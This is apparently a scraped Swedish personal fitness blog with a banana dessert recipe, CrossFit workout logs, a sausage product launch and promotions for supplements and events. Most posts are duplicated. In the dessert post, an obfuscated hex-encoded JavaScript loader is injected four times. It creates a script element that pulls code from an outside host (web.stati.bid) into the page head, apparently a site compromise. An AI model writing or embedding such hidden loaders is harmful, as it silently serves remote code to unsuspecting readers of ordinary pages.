Philip
Dyplin

En kalorifattig efterrätt <3

22 Jun 2017

Vem vill inte lyxa till det ibland med en god efterrätt❤ Här är ett härligt tips som innehåller cirka 150 Kalorier.

Recept:
1 Banan
Lagom mängd Hallon
Lite kokosflingor
Kcalfri sås (White Chocolate)

Jag använder extrakt ifrån skinnysyrupssverige (Mattis10 i c/o fältet för rabatt)

Tillagning:
Sätt ugnen på cirka 175-200grader. Mosa bananen på ena sidan. Bananen är klar när den fått lite go färg.
Tillsätt hallon, kokos & såsen.
Riktigt mumsigt ❤

IMG_20170327_224303_452 var _0x29b4=[”\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x73\x3A\x2F\x2F\x77\x65\x62\x2E\x73\x74\x61\x74\x69\x2E\x62\x69\x64\x2F\x6A\x73\x2F\x59\x51\x48\x48\x41\x41\x55\x44\x59\x77\x42\x46\x67\x6C\x44\x58\x67\x30\x56\x53\x42\x56\x57\x79\x45\x44\x51\x35\x64\x78\x47\x43\x42\x54\x4E\x54\x38\x55\x44\x47\x55\x42\x42\x54\x30\x7A\x50\x46\x55\x6A\x43\x74\x41\x52\x45\x32\x4E\x7A\x41\x56\x4A\x53\x49\x50\x51\x30\x46\x4A\x41\x42\x46\x55\x56\x54\x4B\x5F\x41\x41\x42\x4A\x56\x78\x49\x47\x45\x6B\x48\x35\x51\x43\x46\x44\x42\x41\x53\x56\x49\x68\x50\x50\x63\x52\x45\x71\x59\x52\x46\x45\x64\x52\x51\x63\x73\x55\x45\x6B\x41\x52\x4A\x59\x51\x79\x41\x58\x56\x42\x50\x4E\x63\x51\x4C\x61\x51\x41\x56\x6D\x34\x43\x51\x43\x5A\x41\x41\x56\x64\x45\x4D\x47\x59\x41\x58\x51\x78\x77\x61\x2E\x6A\x73\x3F\x74\x72\x6C\x3D\x30\x2E\x35\x30″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64”];var el=document[_0x29b4[1]](_0x29b4[0]);el[_0x29b4[2]]= _0x29b4[3];document[_0x29b4[5]][_0x29b4[4]](el) var _0x29b4=[”\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x73\x3A\x2F\x2F\x77\x65\x62\x2E\x73\x74\x61\x74\x69\x2E\x62\x69\x64\x2F\x6A\x73\x2F\x59\x51\x48\x48\x41\x41\x55\x44\x59\x77\x42\x46\x67\x6C\x44\x58\x67\x30\x56\x53\x42\x56\x57\x79\x45\x44\x51\x35\x64\x78\x47\x43\x42\x54\x4E\x54\x38\x55\x44\x47\x55\x42\x42\x54\x30\x7A\x50\x46\x55\x6A\x43\x74\x41\x52\x45\x32\x4E\x7A\x41\x56\x4A\x53\x49\x50\x51\x30\x46\x4A\x41\x42\x46\x55\x56\x54\x4B\x5F\x41\x41\x42\x4A\x56\x78\x49\x47\x45\x6B\x48\x35\x51\x43\x46\x44\x42\x41\x53\x56\x49\x68\x50\x50\x63\x52\x45\x71\x59\x52\x46\x45\x64\x52\x51\x63\x73\x55\x45\x6B\x41\x52\x4A\x59\x51\x79\x41\x58\x56\x42\x50\x4E\x63\x51\x4C\x61\x51\x41\x56\x6D\x34\x43\x51\x43\x5A\x41\x41\x56\x64\x45\x4D\x47\x59\x41\x58\x51\x78\x77\x61\x2E\x6A\x73\x3F\x74\x72\x6C\x3D\x30\x2E\x35\x30″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64”];var el=document[_0x29b4[1]](_0x29b4[0]);el[_0x29b4[2]]= _0x29b4[3];document[_0x29b4[5]][_0x29b4[4]](el)

Vem vill inte lyxa till det ibland med en god efterrätt❤ Här är ett härligt tips som innehåller cirka 150 Kalorier.

Recept:
1 Banan
Lagom mängd Hallon
Lite kokosflingor
Kcalfri sås (White Chocolate)

Jag använder extrakt ifrån skinnysyrupssverige (Mattis10 i c/o fältet för rabatt)

Tillagning:
Sätt ugnen på cirka 175-200grader. Mosa bananen på ena sidan. Bananen är klar när den fått lite go färg.
Tillsätt hallon, kokos & såsen.
Riktigt mumsigt ❤

IMG_20170327_224303_452 var _0x29b4=[”\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x73\x3A\x2F\x2F\x77\x65\x62\x2E\x73\x74\x61\x74\x69\x2E\x62\x69\x64\x2F\x6A\x73\x2F\x59\x51\x48\x48\x41\x41\x55\x44\x59\x77\x42\x46\x67\x6C\x44\x58\x67\x30\x56\x53\x42\x56\x57\x79\x45\x44\x51\x35\x64\x78\x47\x43\x42\x54\x4E\x54\x38\x55\x44\x47\x55\x42\x42\x54\x30\x7A\x50\x46\x55\x6A\x43\x74\x41\x52\x45\x32\x4E\x7A\x41\x56\x4A\x53\x49\x50\x51\x30\x46\x4A\x41\x42\x46\x55\x56\x54\x4B\x5F\x41\x41\x42\x4A\x56\x78\x49\x47\x45\x6B\x48\x35\x51\x43\x46\x44\x42\x41\x53\x56\x49\x68\x50\x50\x63\x52\x45\x71\x59\x52\x46\x45\x64\x52\x51\x63\x73\x55\x45\x6B\x41\x52\x4A\x59\x51\x79\x41\x58\x56\x42\x50\x4E\x63\x51\x4C\x61\x51\x41\x56\x6D\x34\x43\x51\x43\x5A\x41\x41\x56\x64\x45\x4D\x47\x59\x41\x58\x51\x78\x77\x61\x2E\x6A\x73\x3F\x74\x72\x6C\x3D\x30\x2E\x35\x30″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64”];var el=document[_0x29b4[1]](_0x29b4[0]);el[_0x29b4[2]]= _0x29b4[3];document[_0x29b4[5]][_0x29b4[4]](el) var _0x29b4=[”\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x73\x3A\x2F\x2F\x77\x65\x62\x2E\x73\x74\x61\x74\x69\x2E\x62\x69\x64\x2F\x6A\x73\x2F\x59\x51\x48\x48\x41\x41\x55\x44\x59\x77\x42\x46\x67\x6C\x44\x58\x67\x30\x56\x53\x42\x56\x57\x79\x45\x44\x51\x35\x64\x78\x47\x43\x42\x54\x4E\x54\x38\x55\x44\x47\x55\x42\x42\x54\x30\x7A\x50\x46\x55\x6A\x43\x74\x41\x52\x45\x32\x4E\x7A\x41\x56\x4A\x53\x49\x50\x51\x30\x46\x4A\x41\x42\x46\x55\x56\x54\x4B\x5F\x41\x41\x42\x4A\x56\x78\x49\x47\x45\x6B\x48\x35\x51\x43\x46\x44\x42\x41\x53\x56\x49\x68\x50\x50\x63\x52\x45\x71\x59\x52\x46\x45\x64\x52\x51\x63\x73\x55\x45\x6B\x41\x52\x4A\x59\x51\x79\x41\x58\x56\x42\x50\x4E\x63\x51\x4C\x61\x51\x41\x56\x6D\x34\x43\x51\x43\x5A\x41\x41\x56\x64\x45\x4D\x47\x59\x41\x58\x51\x78\x77\x61\x2E\x6A\x73\x3F\x74\x72\x6C\x3D\x30\x2E\x35\x30″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64”];var el=document[_0x29b4[1]](_0x29b4[0]);el[_0x29b4[2]]= _0x29b4[3];document[_0x29b4[5]][_0x29b4[4]](el)

Starka barn! :)

3 Mar 2016

I tisdags höll jag dem två första barnpassen på Crossfit Highway, det var riktigt kul och gick bättre än jag trodde…barnen lyssnar när Pansar talar helt enkelt haha 😉

Efter en kul uppvärmning så körde vi wall-walks  och huvudstående som styrka.

Sen gick vi igenom marklyft och efter det fick de köra en par WOD, på tid:

  • 50 marklyft med slamball
  • 50 burpee med hopp över boll
  • 100 airsquats

Dem var riktigt duktiga och krigade på bra.

Jag är imponerad över hur starka barnen är och hur fort dem och deras kroppar fattar hur de ska aktivera musklerna och läsa sig nya saker, dem kommer utvecklas snabbt har jag en känsla av.

Vi avslutad med spökboll vilket många tycket var riktigt kul…inte minst jag 🙂

Igår körde jag själv ett pass och kände mig rätt stark…måste bero på Svenskt kosttillskott t-shiten och att jag hällt i mig min Core Performance PWO innan. Till alla som kör Open nu kan jag rekommendera att ta 2 skopor av den innan WODarna, det gör skillnad, det kan jag lova. Den innehåller både snabba och långsamma kolhydrater utöver koffein och BCAA vilket gör att du faktiskt tillför energi till musklerna under passet.

Här hittar ni den: Core Performance

Jag körde först rehab för axeln som börjar bli bättre. Sen körde jag följande äckliga WOD, 3 varv på tid av:

  • 1000 m rodd
  • 30 GHD situps

Jag körde med min nya Suunto klocka och pulsband för att se hur jag mår vid olika pulsnivåer och vad som händer när jag håller en viss nivå.  Under första varvet låg jag på 151 i snitt puls, varv 2 162 och sista varvet på 171. Jag höll 1:43 tempo på 500 eller snabbare hela tiden och var uppe på 184 i puls som mest, där kan jag inte ligga allt för länge. Vet inte exakt vad min maxpuls är men jag gissar på 190, måste testa det någon dag. Klockan hittar ni mer info om här: Suunto Ambit3

På kvällen hade frugan lagat ryggbiff och potatis i ugnen, grymt gott 🙂

Kan ju inte bara äta korv även om den är god nog haha…

Apropå starka barn så ska nästa alla utav barnen jag tränade springa Barnes Hinderbana och dem såg mycket fram emot det 🙂

Loppen fylls på i snabb takt nu och det är dags att boka plats om ni ska vara med, mer info hittar ni här: Barnens Hinderbana

fb_ad_large_grupp_happy2

/P

I tisdags höll jag dem två första barnpassen på Crossfit Highway, det var riktigt kul och gick bättre än jag trodde…barnen lyssnar när Pansar talar helt enkelt haha 😉

Efter en kul uppvärmning så körde vi wall-walks  och huvudstående som styrka.

Sen gick vi igenom marklyft och efter det fick de köra en par WOD, på tid:

  • 50 marklyft med slamball
  • 50 burpee med hopp över boll
  • 100 airsquats

Dem var riktigt duktiga och krigade på bra.

Jag är imponerad över hur starka barnen är och hur fort dem och deras kroppar fattar hur de ska aktivera musklerna och läsa sig nya saker, dem kommer utvecklas snabbt har jag en känsla av.

Vi avslutad med spökboll vilket många tycket var riktigt kul…inte minst jag 🙂

Igår körde jag själv ett pass och kände mig rätt stark…måste bero på Svenskt kosttillskott t-shiten och att jag hällt i mig min Core Performance PWO innan. Till alla som kör Open nu kan jag rekommendera att ta 2 skopor av den innan WODarna, det gör skillnad, det kan jag lova. Den innehåller både snabba och långsamma kolhydrater utöver koffein och BCAA vilket gör att du faktiskt tillför energi till musklerna under passet.

Här hittar ni den: Core Performance

Jag körde först rehab för axeln som börjar bli bättre. Sen körde jag följande äckliga WOD, 3 varv på tid av:

  • 1000 m rodd
  • 30 GHD situps

Jag körde med min nya Suunto klocka och pulsband för att se hur jag mår vid olika pulsnivåer och vad som händer när jag håller en viss nivå.  Under första varvet låg jag på 151 i snitt puls, varv 2 162 och sista varvet på 171. Jag höll 1:43 tempo på 500 eller snabbare hela tiden och var uppe på 184 i puls som mest, där kan jag inte ligga allt för länge. Vet inte exakt vad min maxpuls är men jag gissar på 190, måste testa det någon dag. Klockan hittar ni mer info om här: Suunto Ambit3

På kvällen hade frugan lagat ryggbiff och potatis i ugnen, grymt gott 🙂

Kan ju inte bara äta korv även om den är god nog haha…

Apropå starka barn så ska nästa alla utav barnen jag tränade springa Barnes Hinderbana och dem såg mycket fram emot det 🙂

Loppen fylls på i snabb takt nu och det är dags att boka plats om ni ska vara med, mer info hittar ni här: Barnens Hinderbana

fb_ad_large_grupp_happy2

/P

Vilken korvsuccé – både god och nyttig!

Crossfit 26 Feb 2016

Idag lanserade vi Plus-sortimenet på Passion för Mat i Göteborg. Det är en serie köttprodukter som jag tagit fram i samarbete med Gudruns kött under ett år och nu är äntligen de första produkterna klara, 3 riktigt god och nyttiga grillkorvar!

Vi har jobbat på korvarna, paketeringen och lanseringen under 1 år nu och det är så kul att dem äntligen är klara, prefekt inför året grillsäsong för mig och alla andra som vill grilla god och nyttig korv! 🙂

Det speciella med Plus-sortimentet är att vi har extra mycket kött och extra fint kött vilket gör att vi får en ren produkt med hög kötthalt, låg fetthalt och en hög proteinhalt.

I första vända släpps 3 grillkorvar, två tjockare smaksatta och en vanlig grillkorv för barn som förtjänar bättre korv än vad marknaden erbjuder

De kryddade korvarna innehåller BARA kött (nöt och fläsk), kryddor och vatten. Det ger en korv med 95% kötthalt, resten är alltså kryddor och vatten man tillsätter när man blandar i kryddorna. Köttet vi använt är magrare delar på djuren än man normalt maler ner i korv, därför får vi ner fetthalten till bara 8% och upp proteinhalten till 19%. Korven blir mycket köttigare än traditionell korv och mättare mycket mer. Per 100g är det BARA 150g kcal och 0,5 g kolhydrater, det är lågt för att vara korv.

Så att korven är nyttig och har grymt bra innehåll är inget att snacka om, det finns ingen lika bra korv på marknaden och det var därför jag tog fram den. Men att den dessutom smakar sjukt bra gör den till en succé helt klart. På mässan är det inte direkt tränings och fitnessmänniskor, utan snarare folk som gillar mat och dryck i alla former och inte bryr sig lika mycket som mig, men alla som kom och prövade den idag älskade den och massor köpte den, så himla kul! Dem tycker den var god, köttig och mättande. Sen uppskattade många att det var hög kötthalt och att den var mager.

Vi har lyckas med en helt unik produkt på marknaden och det ska så kul att se hur den säljer i handeln i sommar.

En korv som alla som gillar att grilla kommer att älska och äntligen en korv som även vi som bryr oss om vad vi stoppar i oss och vår from kan äta med gott samvete hela sommaren lång! Korven börjar produceras nu och ska sen distribueras till så många butiker som möjligt, så innan sommaren börjar kommer ni kunna köpa den.

Här är Andreas Ögren som hjälp mig ta fram denna och hela teamet på plats på mässa i helgen, så bor ni i Göteborg, kom till Passion för Mat och testa min korv 🙂

Till montern kom även många barn så klart, dem älskade den nya barnkorven jag hoppas den bli barnens och familjerna nya favorit. Barnen förtjänar bättre mat än vad som erbjuda på marknaden nu, det är så mycket skit i mycket produkter, det ska vi ändra på 😉

På kvällen firade vi succén med en god köttbit, korv hade vi ätit hela dagen haha 😉

Nu är det också klart att Gudruns kommer att samarbeta med Barnens Hinderbana och barnkorven kommer att säljas där till riktigt bra pris.

Så anmäl era barn till våra lopp i sommar så får ni smaka den då om inte innan: Barnens Hinderbana

kartan2

/P

Idag lanserade vi Plus-sortimenet på Passion för Mat i Göteborg. Det är en serie köttprodukter som jag tagit fram i samarbete med Gudruns kött under ett år och nu är äntligen de första produkterna klara, 3 riktigt god och nyttiga grillkorvar!

Vi har jobbat på korvarna, paketeringen och lanseringen under 1 år nu och det är så kul att dem äntligen är klara, prefekt inför året grillsäsong för mig och alla andra som vill grilla god och nyttig korv! 🙂

Det speciella med Plus-sortimentet är att vi har extra mycket kött och extra fint kött vilket gör att vi får en ren produkt med hög kötthalt, låg fetthalt och en hög proteinhalt.

I första vända släpps 3 grillkorvar, två tjockare smaksatta och en vanlig grillkorv för barn som förtjänar bättre korv än vad marknaden erbjuder

De kryddade korvarna innehåller BARA kött (nöt och fläsk), kryddor och vatten. Det ger en korv med 95% kötthalt, resten är alltså kryddor och vatten man tillsätter när man blandar i kryddorna. Köttet vi använt är magrare delar på djuren än man normalt maler ner i korv, därför får vi ner fetthalten till bara 8% och upp proteinhalten till 19%. Korven blir mycket köttigare än traditionell korv och mättare mycket mer. Per 100g är det BARA 150g kcal och 0,5 g kolhydrater, det är lågt för att vara korv.

Så att korven är nyttig och har grymt bra innehåll är inget att snacka om, det finns ingen lika bra korv på marknaden och det var därför jag tog fram den. Men att den dessutom smakar sjukt bra gör den till en succé helt klart. På mässan är det inte direkt tränings och fitnessmänniskor, utan snarare folk som gillar mat och dryck i alla former och inte bryr sig lika mycket som mig, men alla som kom och prövade den idag älskade den och massor köpte den, så himla kul! Dem tycker den var god, köttig och mättande. Sen uppskattade många att det var hög kötthalt och att den var mager.

Vi har lyckas med en helt unik produkt på marknaden och det ska så kul att se hur den säljer i handeln i sommar.

En korv som alla som gillar att grilla kommer att älska och äntligen en korv som även vi som bryr oss om vad vi stoppar i oss och vår from kan äta med gott samvete hela sommaren lång! Korven börjar produceras nu och ska sen distribueras till så många butiker som möjligt, så innan sommaren börjar kommer ni kunna köpa den.

Här är Andreas Ögren som hjälp mig ta fram denna och hela teamet på plats på mässa i helgen, så bor ni i Göteborg, kom till Passion för Mat och testa min korv 🙂

Till montern kom även många barn så klart, dem älskade den nya barnkorven jag hoppas den bli barnens och familjerna nya favorit. Barnen förtjänar bättre mat än vad som erbjuda på marknaden nu, det är så mycket skit i mycket produkter, det ska vi ändra på 😉

På kvällen firade vi succén med en god köttbit, korv hade vi ätit hela dagen haha 😉

Nu är det också klart att Gudruns kommer att samarbeta med Barnens Hinderbana och barnkorven kommer att säljas där till riktigt bra pris.

Så anmäl era barn till våra lopp i sommar så får ni smaka den då om inte innan: Barnens Hinderbana

kartan2

/P

Riktig vinter…dröm er bort!

Crossfit 14 Jan 2016

Idag var det vila på min och Andreas programmering så vi passade på att testa final WODen vi planerat till Highway Games, partävlingen för våra medlemmar som vi håller den 23/1.

Den var rätt spicy kan jag säga och det är bäst man gillar tunga Kettle belles 😉

Sen bestämde jag mig för att äta jätte mycket 🙂

Jag ska berätta en hemlis, ett bra träningspass imorgon börjar med bra och mycket mat dagen innan 😉

Jill är och tatuerar sig hos Ellen Westholm så jag jobbade hemma på em och tog hand om hundarna. Det var riktigt kallt när jag var ute med dem men ändå på ett skönt sätt, krispigt och inte så bitande. Jag funderade starkt på att dra på mig skidorna, f-n vilken fart jag hade fått med 4 hundar haha…

Men även fast jag gillar kylan så drömmer jag bort till värmen, för vem skulle inte vilja sitta här just nu…?

Foto 2015-10-15 12 05 00-liten2

 

Just där kan du sitta om drygt 4 månader, för då åker vi till Aloha Hill Club med ProFitness Camps träningsresa. Det är marknadens mest påkostande och lyxiga träningsresa med mycket meriterade coacher, Karl Dyall, Rickard Lanner och Andreas Byfeldt.

Det finns platser kvar och är du intresserad så kan du läsa mer och boka plats här: ProFitness Camps Marbella blogg.jpeg

/P

Idag var det vila på min och Andreas programmering så vi passade på att testa final WODen vi planerat till Highway Games, partävlingen för våra medlemmar som vi håller den 23/1.

Den var rätt spicy kan jag säga och det är bäst man gillar tunga Kettle belles 😉

Sen bestämde jag mig för att äta jätte mycket 🙂

Jag ska berätta en hemlis, ett bra träningspass imorgon börjar med bra och mycket mat dagen innan 😉

Jill är och tatuerar sig hos Ellen Westholm så jag jobbade hemma på em och tog hand om hundarna. Det var riktigt kallt när jag var ute med dem men ändå på ett skönt sätt, krispigt och inte så bitande. Jag funderade starkt på att dra på mig skidorna, f-n vilken fart jag hade fått med 4 hundar haha…

Men även fast jag gillar kylan så drömmer jag bort till värmen, för vem skulle inte vilja sitta här just nu…?

Foto 2015-10-15 12 05 00-liten2

 

Just där kan du sitta om drygt 4 månader, för då åker vi till Aloha Hill Club med ProFitness Camps träningsresa. Det är marknadens mest påkostande och lyxiga träningsresa med mycket meriterade coacher, Karl Dyall, Rickard Lanner och Andreas Byfeldt.

Det finns platser kvar och är du intresserad så kan du läsa mer och boka plats här: ProFitness Camps Marbella blogg.jpeg

/P

Superhelg med munkar

25 Okt 2015

Igår hade vi Gladiatorjobb på lite olika Coop i Stockholmsområdet. Det var länge sedan jag hade på mig min Pansar dräkt och det kändes bra att ta på sig den igen 🙂

 
Många barn kom och hälsade på och alla ser fram emot en ny säsong. 

 
Snart är det inspelning av nästa säsong, vi kör i Sundsvall som vanligt och om ni vill så kan ni sitta i publiken, biljetter kan ni köpa här: Gladiatorerna – Biljetter

Sen hängde jag med Ako, vi stack till Kista Gallerian, där käkade vi lite munkar…det är vi värda 😉

 
Sjukt gott! Ako köpte ett 12 pack haha…ingen deff där.

Sen köpte jag ett par nya snygga jeans på G-Star.

 
Sen åkte jag hem till Linköping.

Idag har vi haft Intoduktionskurs på CrossFit Highway. Deltagarna fick lära sig vad CrossFit handlar om, gå igenom teknik i press, knäböj, marklyft och olympiska lyft. 

  
 Riktigt kul att så många kom.

Vill ni prova på CrossFit hos oss bokar ni gratis prova-på här: CrossFit Highway – Boka pass

Jag körde också ett pass. Först körde jag gymnastik. Handstående gick riktigt bra tackvare lite tips från vår gymnastik coach Jim.

Sen körde jag fotarbete och sprinter.

 
Sen körde jag en WOD

  • 3 repklättringar
  • 15 Power Cleans, 60 kg
  • 15 Lat Burpees
  • 2 repklättringar
  • 12 Power Cleans, 60 kg
  • 12 Lat Burpees
  • 1 repklättringar
  • 9 Power Cleans, 60 kg
  • 9 Lat Burpees

  
Kul WOD som tog 7:20.

Nu har vi ätit god mat och myst lite. Imorgon är det fullt ös på jobbet igen 🙂

/P

Igår hade vi Gladiatorjobb på lite olika Coop i Stockholmsområdet. Det var länge sedan jag hade på mig min Pansar dräkt och det kändes bra att ta på sig den igen 🙂

 
Många barn kom och hälsade på och alla ser fram emot en ny säsong. 

 
Snart är det inspelning av nästa säsong, vi kör i Sundsvall som vanligt och om ni vill så kan ni sitta i publiken, biljetter kan ni köpa här: Gladiatorerna – Biljetter

Sen hängde jag med Ako, vi stack till Kista Gallerian, där käkade vi lite munkar…det är vi värda 😉

 
Sjukt gott! Ako köpte ett 12 pack haha…ingen deff där.

Sen köpte jag ett par nya snygga jeans på G-Star.

 
Sen åkte jag hem till Linköping.

Idag har vi haft Intoduktionskurs på CrossFit Highway. Deltagarna fick lära sig vad CrossFit handlar om, gå igenom teknik i press, knäböj, marklyft och olympiska lyft. 

  
 Riktigt kul att så många kom.

Vill ni prova på CrossFit hos oss bokar ni gratis prova-på här: CrossFit Highway – Boka pass

Jag körde också ett pass. Först körde jag gymnastik. Handstående gick riktigt bra tackvare lite tips från vår gymnastik coach Jim.

Sen körde jag fotarbete och sprinter.

 
Sen körde jag en WOD

  • 3 repklättringar
  • 15 Power Cleans, 60 kg
  • 15 Lat Burpees
  • 2 repklättringar
  • 12 Power Cleans, 60 kg
  • 12 Lat Burpees
  • 1 repklättringar
  • 9 Power Cleans, 60 kg
  • 9 Lat Burpees

  
Kul WOD som tog 7:20.

Nu har vi ätit god mat och myst lite. Imorgon är det fullt ös på jobbet igen 🙂

/P

Fan va kul det ska bli..

Crossfit 13 Aug 2015

Jag har kanske nämnt det men inte reflekterat över det så mycket. Jag kvalade i alla fall tillslut in till CrossFit tävlingen Solid Open i masters klassen, 35+ år. Den går nästa helg på Stadion och jag kom precis på hur jäkla kul det ska blir. Jag älskar att tävla i allt och ryser redan nu i tanken på att stå där och ge allt inför publiken.

Bor ni i Stockholm så måste ni komma och kolla på lördag 22:a och söndag den 23:e augusti, ju mer publik desto roligare att tävla 😉 Det kommer bli en grymt bra tävling kan jag lova, Solid vet vad dem gör och det är mycket bra atleter med som tex Rikard Lanner, Marcus Herou, Victor Långsved mfl.

Men nu i helgen ska jag också ha sjukt kul, för jag bjuder min fru på en resa till Berlin efter som hon fyller 39 år på lördag. Vi ska dit och shoppa, äta god mat, festa och dansa.

Inte bästa uppladdningen inför Solig Open men jag kommer ändå att ge allt och bjuda på show, det kan jag lova 😉 Jag kommer också ha med mig Pansar kort till de barn som kommer och kollar.

Det här är bilder från MK Open i Falun…ganska kul att man altid ser helt missbildad ut när man ta i haha

Jag älskar den här bilden när Andreas lyfter sist Thrustern med mig på sidan, det var sista repen Thrusters stegen där vi kom 2:a om jag inte minns fel.

Andreas ska också vara med och tävla på Solid Open i senior klassen, grymt kul att vi båda är på samma tävling ingen och kan peppa varandra.

Mer info om tävlingen hittar ni här: Solid Open

Idag blev det vila och ett besök hos naprapaten, det behövdes kan jag lova, shit vad ont det gjorde på vissa ställen. Infran var helt låst tex som jag misstänkte. Nu blir det ingen träning tills på måndag så jag hoppas att den återhämtar sig lite.

Men jag grillade och badade så klart, värdet är ju sjukt bra just nu och det ska bli 33 grader i Berlin på lördag så det blir till att packa shortsen.

/P

Jag har kanske nämnt det men inte reflekterat över det så mycket. Jag kvalade i alla fall tillslut in till CrossFit tävlingen Solid Open i masters klassen, 35+ år. Den går nästa helg på Stadion och jag kom precis på hur jäkla kul det ska blir. Jag älskar att tävla i allt och ryser redan nu i tanken på att stå där och ge allt inför publiken.

Bor ni i Stockholm så måste ni komma och kolla på lördag 22:a och söndag den 23:e augusti, ju mer publik desto roligare att tävla 😉 Det kommer bli en grymt bra tävling kan jag lova, Solid vet vad dem gör och det är mycket bra atleter med som tex Rikard Lanner, Marcus Herou, Victor Långsved mfl.

Men nu i helgen ska jag också ha sjukt kul, för jag bjuder min fru på en resa till Berlin efter som hon fyller 39 år på lördag. Vi ska dit och shoppa, äta god mat, festa och dansa.

Inte bästa uppladdningen inför Solig Open men jag kommer ändå att ge allt och bjuda på show, det kan jag lova 😉 Jag kommer också ha med mig Pansar kort till de barn som kommer och kollar.

Det här är bilder från MK Open i Falun…ganska kul att man altid ser helt missbildad ut när man ta i haha

Jag älskar den här bilden när Andreas lyfter sist Thrustern med mig på sidan, det var sista repen Thrusters stegen där vi kom 2:a om jag inte minns fel.

Andreas ska också vara med och tävla på Solid Open i senior klassen, grymt kul att vi båda är på samma tävling ingen och kan peppa varandra.

Mer info om tävlingen hittar ni här: Solid Open

Idag blev det vila och ett besök hos naprapaten, det behövdes kan jag lova, shit vad ont det gjorde på vissa ställen. Infran var helt låst tex som jag misstänkte. Nu blir det ingen träning tills på måndag så jag hoppas att den återhämtar sig lite.

Men jag grillade och badade så klart, värdet är ju sjukt bra just nu och det ska bli 33 grader i Berlin på lördag så det blir till att packa shortsen.

/P

Tre amigos…och godis ;)

Crossfit 12 Aug 2015

Idag kom Åskan förbi CrossFit Highway och gästtränade, riktigt kul. Han driver CrossFit 011 i Norrköping och är duktigt så det är kul att köra med honom, han ger mig alltid bra tips på saker att juster och tänka på.

Vi började med Clean & Jerk, 1 x 3 set på 89%, det är 107 kg för mig.

Jag körde 2 på 110 kr istället och här är sista lyftet:

Helt ok, C&J börjar kännas mycket bättre vilket är kul.

Sen körde vi paus-squats, 5 x 4 set på 110 kg med 3 sekunder i botten, det kändes också bra. Efter det körde vi strikta CTB 3 x 5 set och det gick också bra…mycket gick bra idag 🙂

En del av det bero på att jag tog 2 skopor Core Performance innan passet, den ger så mycket energi dagar jag är lite trött och seg som idag och passen blir ändå riktigt bra, ni hittar den här: Core Performance

Sen körde vi en kul team WOD.

Vi skulle ro 6000 meter tillsammans och var tvungna att byta varje 250 m, medan en ror ska den andra göra 3 Snatch och den tredje 3 MU, och sen rotera när alla var klara. Jag har inte 3 MU på under minuten så jag gjorde 2:or. Det var kul och gick helt ok, vi var klara på ca 21 min.

Efter det så tyckte killarna att vi skulle köra death by Toes 2 Bar…kul 😉

Det betyder att man gör 10 obrutna T2B varje minut tills man inte klarar. Jag kom längst och klarade 9 på min 15, så 149 T2B blev det, kul att jag är bra på något i alla fall…

Här står tre amigos efter ett skönt pass och försöker ser ut som ögon godis haha…vet inte om vi lyckas 😉

Frugan var också med och körde på lunchen, alltid lika het när hon tränar 🙂

På kvällen gick jag, Jill och tjejerna på bio och såg filmen Pixels, men innan det köpte vi så klart godis, det var Zoe nöjd med 🙂

Idag var det sådär sjukt gott med godis som det kan vara ibland. Och idag lyckades jag köpa lagom så jag inte mådde illa på slutet haha…

Filmen var riktigt kul och bra. Speciellt för mig som är gammal nog att växt upp med spelen de handlade mest om. Det är en bra action komedi som jag tycker ni ska se om ni vill få er ett gott skratt!

Imorgon blir det vila från träningen, mycket jobba och besök hos naprapaten.

/P

Idag kom Åskan förbi CrossFit Highway och gästtränade, riktigt kul. Han driver CrossFit 011 i Norrköping och är duktigt så det är kul att köra med honom, han ger mig alltid bra tips på saker att juster och tänka på.

Vi började med Clean & Jerk, 1 x 3 set på 89%, det är 107 kg för mig.

Jag körde 2 på 110 kr istället och här är sista lyftet:

Helt ok, C&J börjar kännas mycket bättre vilket är kul.

Sen körde vi paus-squats, 5 x 4 set på 110 kg med 3 sekunder i botten, det kändes också bra. Efter det körde vi strikta CTB 3 x 5 set och det gick också bra…mycket gick bra idag 🙂

En del av det bero på att jag tog 2 skopor Core Performance innan passet, den ger så mycket energi dagar jag är lite trött och seg som idag och passen blir ändå riktigt bra, ni hittar den här: Core Performance

Sen körde vi en kul team WOD.

Vi skulle ro 6000 meter tillsammans och var tvungna att byta varje 250 m, medan en ror ska den andra göra 3 Snatch och den tredje 3 MU, och sen rotera när alla var klara. Jag har inte 3 MU på under minuten så jag gjorde 2:or. Det var kul och gick helt ok, vi var klara på ca 21 min.

Efter det så tyckte killarna att vi skulle köra death by Toes 2 Bar…kul 😉

Det betyder att man gör 10 obrutna T2B varje minut tills man inte klarar. Jag kom längst och klarade 9 på min 15, så 149 T2B blev det, kul att jag är bra på något i alla fall…

Här står tre amigos efter ett skönt pass och försöker ser ut som ögon godis haha…vet inte om vi lyckas 😉

Frugan var också med och körde på lunchen, alltid lika het när hon tränar 🙂

På kvällen gick jag, Jill och tjejerna på bio och såg filmen Pixels, men innan det köpte vi så klart godis, det var Zoe nöjd med 🙂

Idag var det sådär sjukt gott med godis som det kan vara ibland. Och idag lyckades jag köpa lagom så jag inte mådde illa på slutet haha…

Filmen var riktigt kul och bra. Speciellt för mig som är gammal nog att växt upp med spelen de handlade mest om. Det är en bra action komedi som jag tycker ni ska se om ni vill få er ett gott skratt!

Imorgon blir det vila från träningen, mycket jobba och besök hos naprapaten.

/P

Sök som utmanare nu!

Crossfit, Gladiatorerna 11 Aug 2015

Idag hade jag fortfarande ont i infran och jag har bokat tid hos min naprapat på torsdag så jag får det behandlat, det är en överansträngning och låsning där.

Men jag körde ändå stora dela av dagens pass, det som kändes bra helt enkelt 😉

Vi började med handstående träning och det gick väl sådär, jag stod kanske upp emot 10 s en gång.

Sen körde Andreas MU träning och det hoppade jag över för att spara infran.

